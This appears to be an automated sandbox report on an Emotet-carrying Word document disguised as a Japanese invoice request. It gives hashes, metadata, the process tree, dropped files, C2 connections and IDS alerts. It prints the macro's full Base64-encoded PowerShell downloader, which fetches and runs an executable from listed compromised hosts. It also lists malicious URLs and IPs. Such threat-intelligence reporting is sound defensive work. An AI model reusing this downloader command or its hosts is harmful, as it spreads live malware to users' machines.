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File name:

請求書送付のお願い 521528 2020_01_17.doc

Full analysis: https://app.any.run/tasks/60cfeca6-cf41-4f61-9d6f-39105a475b92
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: January 18, 2020, 04:49:53
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Cumque., Author: Alexis Marchand, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Jan 16 22:41:00 2020, Last Saved Time/Date: Thu Jan 16 22:41:00 2020, Number of Pages: 1, Number of Words: 5, Number of Characters: 30, Security: 0
MD5:

C45709822998F93A45C9364E0B9CF995

SHA1:

513EEDEF38A953C7CB502DF81CB04037732CA44F

SHA256:

5EFBE54EBBE4C47186E636C70D9DAFDA764E37D0F7DD36EF9D032C23D01423B4

SSDEEP:

6144:H0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Bzm8tigdE+w2:H0E3dxtR/iU9mvUPBS8tigdE+J

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Downloads executable files from the Internet

      • Powershell.exe (PID: 3168)

    • Application was dropped or rewritten from another process

      • 267.exe (PID: 2256)
      • 267.exe (PID: 2796)
      • serialfunc.exe (PID: 1796)
      • serialfunc.exe (PID: 3160)

    • Emotet process was detected

      • 267.exe (PID: 2796)

    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 1796)

    • Connects to CnC server

      • serialfunc.exe (PID: 1796)

    • EMOTET was detected

      • serialfunc.exe (PID: 1796)

  • SUSPICIOUS

    • Creates files in the user directory

      • Powershell.exe (PID: 3168)

    • PowerShell script executed

      • Powershell.exe (PID: 3168)

    • Executed via WMI

      • Powershell.exe (PID: 3168)

    • Executable content was dropped or overwritten

      • Powershell.exe (PID: 3168)
      • 267.exe (PID: 2796)

    • Starts itself from another location

      • 267.exe (PID: 2796)

    • Connects to server without host name

      • serialfunc.exe (PID: 1796)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2752)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2752)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

Title: Cumque.
Subject: -
Author: Alexis Marchand
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:01:16 22:41:00
ModifyDate: 2020:01:16 22:41:00
Pages: 1
Words: 5
Characters: 30
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 34
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 25
CompObjUserType: Microsoft Forms 2.0 Form
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 267.exe no specs #EMOTET 267.exe serialfunc.exe no specs #EMOTET serialfunc.exe

Process information

PID
CMD
Path
Indicators
Parent process
2752"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\請求書送付のお願い 521528 2020_01_17.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3168Powershell -w hidden -en JABXAGgAaAB2AGQAeAByAGIAcQB3AGwAawBmAD0AJwBBAG8AawBqAHMAdgBuAGcAcgBsAGsAZABrACcAOwAkAEQAYQBiAHcAZwByAGwAcwBjAGIAbgB1AGQAIAA9ACAAJwAyADYANwAnADsAJABXAGkAcwBhAGwAeABuAGcAeQBtAHkAawA9ACcASABmAHIAZABhAHoAagB1AG0AYwBqAGIAcAAnADsAJABQAHEAegBvAHEAeABzAGYAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARABhAGIAdwBnAHIAbABzAGMAYgBuAHUAZAArACcALgBlAHgAZQAnADsAJABUAGgAdQBwAGEAbwBiAG4AegBuAGMAYgA9ACcARwB3AGMAZwB3AGUAZQBtAGcAZgAnADsAJABSAHQAZwBsAHAAagBiAHUAbAA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAGwASQBFAE4AdAA7ACQAWQB6AHUAZABqAGYAbQBrAHkAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAGUAbABhAG4AbwAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYwBzAHMALwBkAGkAcwB0AC8AMgBlAHcALwAqAGgAdAB0AHAAOgAvAC8AOQAxADEAYwBvAG4AYwBlAHAAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBpADYAbgBnAFgANQAvACoAaAB0AHQAcAA6AC8ALwBhAHkAbwBuAHMAYwBoAG8AbwBsAHMALgBjAG8AbQAvAFUAQgBrAG8AcQBuAC8AKgBoAHQAdABwADoALwAvAGIAZQBlAGMAaAAuAG8AcgBnAC8AdwBhAHkAbgBlAC8AbABsAGQAbwAvACoAaAB0AHQAcAA6AC8ALwBmAGkAcgBlAGwAYQBiAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AZgA2AGYANAAvACcALgAiAFMAYABQAEwAaQB0ACIAKAAnACoAJwApADsAJABDAHcAcAByAGoAaABjAG8AZQBmAD0AJwBaAGcAZgBzAHIAcQB5AHkAZgBqAGcAZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBmAHgAdgBmAHcAdwBvAGMAeQBjAHcAdwAgAGkAbgAgACQAWQB6AHUAZABqAGYAbQBrAHkAKQB7AHQAcgB5AHsAJABSAHQAZwBsAHAAagBiAHUAbAAuACIAZABPAHcAYABOAEwAYABPAGEAZABGAGAAaQBMAEUAIgAoACQAUgBmAHgAdgBmAHcAdwBvAGMAeQBjAHcAdwAsACAAJABQAHEAegBvAHEAeABzAGYAaQApADsAJABUAGcAbgBoAGEAbwBuAHAAbQBlAHgAaQA9ACcAWQBwAGYAYQBzAGcAaABwAHkAbAB1AHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABQAHEAegBvAHEAeABzAGYAaQApAC4AIgBMAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADIANQA4ADUAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAVAAiACgAJABQAHEAegBvAHEAeABzAGYAaQApADsAJABTAHEAawBrAG4AbwB3AGEAdwA9ACcASQBqAHUAYgB2AGoAbQBkAHoAcQBkACcAOwBiAHIAZQBhAGsAOwAkAEEAbwBlAGgAYgBuAGsAaABqAGoAdAA9ACcAWABxAGcAYgBvAGoAdgBjAHkAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAGsAZABlAGQAcABwAGsAeABrAHoAawBvAD0AJwBVAGkAeQBhAGEAbQBpAG0AdwB4ACcAC:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2256"C:\Users\admin\267.exe" C:\Users\admin\267.exe—Powershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
MPEGPlayer MFC Application
Exit code:
0
Version:
1, 0, 0, 1
2796--b640ad31C:\Users\admin\267.exe
267.exe
User:
admin
Integrity Level:
MEDIUM
Description:
MPEGPlayer MFC Application
Exit code:
0
Version:
1, 0, 0, 1
3160"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe—267.exe
User:
admin
Integrity Level:
MEDIUM
Description:
MPEGPlayer MFC Application
Exit code:
0
Version:
1, 0, 0, 1
1796--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe
serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
MPEGPlayer MFC Application
Version:
1, 0, 0, 1
Total events
2 242
Read events
1 421
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2752WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR98CF.tmp.cvr —
MD5:—
SHA256:—
2752WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFD32F6897AC0A5233.TMP —
MD5:—
SHA256:—
2752WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF1E728E0791ADCDBD.TMP —
MD5:—
SHA256:—
3168Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W4456GFTLYZO636LHMMB.temp —
MD5:—
SHA256:—
3168Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
2752WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:E55A1DA4F998FBDF8A2EE4D39364E682
SHA256:32CBFAB8070F9F3F17353183C282924762378F9C961C90CDA446D43FFF57CB69
2752WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:8032A407895D8E9D2BB6589223B4888A
SHA256:534549629E0A7B0918B121CD41380D0B5E05083A9E1D1ECB2D231626D89AFA74
3168Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39a245.TMPbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
2796267.exeC:\Users\admin\AppData\Local\serialfunc\serialfunc.exeexecutable
MD5:FDE06576A82007D70665F481A05841BF
SHA256:549D6B00FC46124BE23E3E6B78F751B917683E29D7E6EAF96D9B1EA90123E276
3168Powershell.exeC:\Users\admin\267.exeexecutable
MD5:FDE06576A82007D70665F481A05841BF
SHA256:549D6B00FC46124BE23E3E6B78F751B917683E29D7E6EAF96D9B1EA90123E276
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3168
Powershell.exe
GET
200
110.45.165.20:80
http://amelano.net/wp-includes/css/dist/2ew/
KR
executable
441 Kb
malicious
1796
serialfunc.exe
POST
—
64.40.250.5:80
http://64.40.250.5/sbY5
CA
—
—
malicious
1796
serialfunc.exe
POST
—
68.172.243.146:80
http://68.172.243.146/CEyPCtI
US
—
—
malicious
1796
serialfunc.exe
POST
—
81.17.92.70:80
http://81.17.92.70/ZDPuECc
AZ
—
—
malicious
1796
serialfunc.exe
POST
200
91.250.96.22:8080
http://91.250.96.22:8080/ADvznqP
DE
binary
132 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1796
serialfunc.exe
64.40.250.5:80
—
ICA Canada On-Line Inc.
CA
malicious
1796
serialfunc.exe
68.172.243.146:80
—
Time Warner Cable Internet LLC
US
malicious
3168
Powershell.exe
110.45.165.20:80
amelano.net
LG DACOM Corporation
KR
suspicious
1796
serialfunc.exe
81.17.92.70:80
—
Baktelekom
AZ
malicious
1796
serialfunc.exe
91.250.96.22:8080
—
Host Europe GmbH
DE
malicious

DNS requests

Domain
IP
Reputation
amelano.net
  • 110.45.165.20
malicious

Threats

PID
Process
Class
Message
3168
Powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3168
Powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3168
Powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
1796
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
1796
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
1796
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
1796
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
1796
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
1796
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
1796
serialfunc.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 23
1 ETPRO signatures available at the full report
No debug info
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請求書送付のお願い 521528 2020_01_17.doc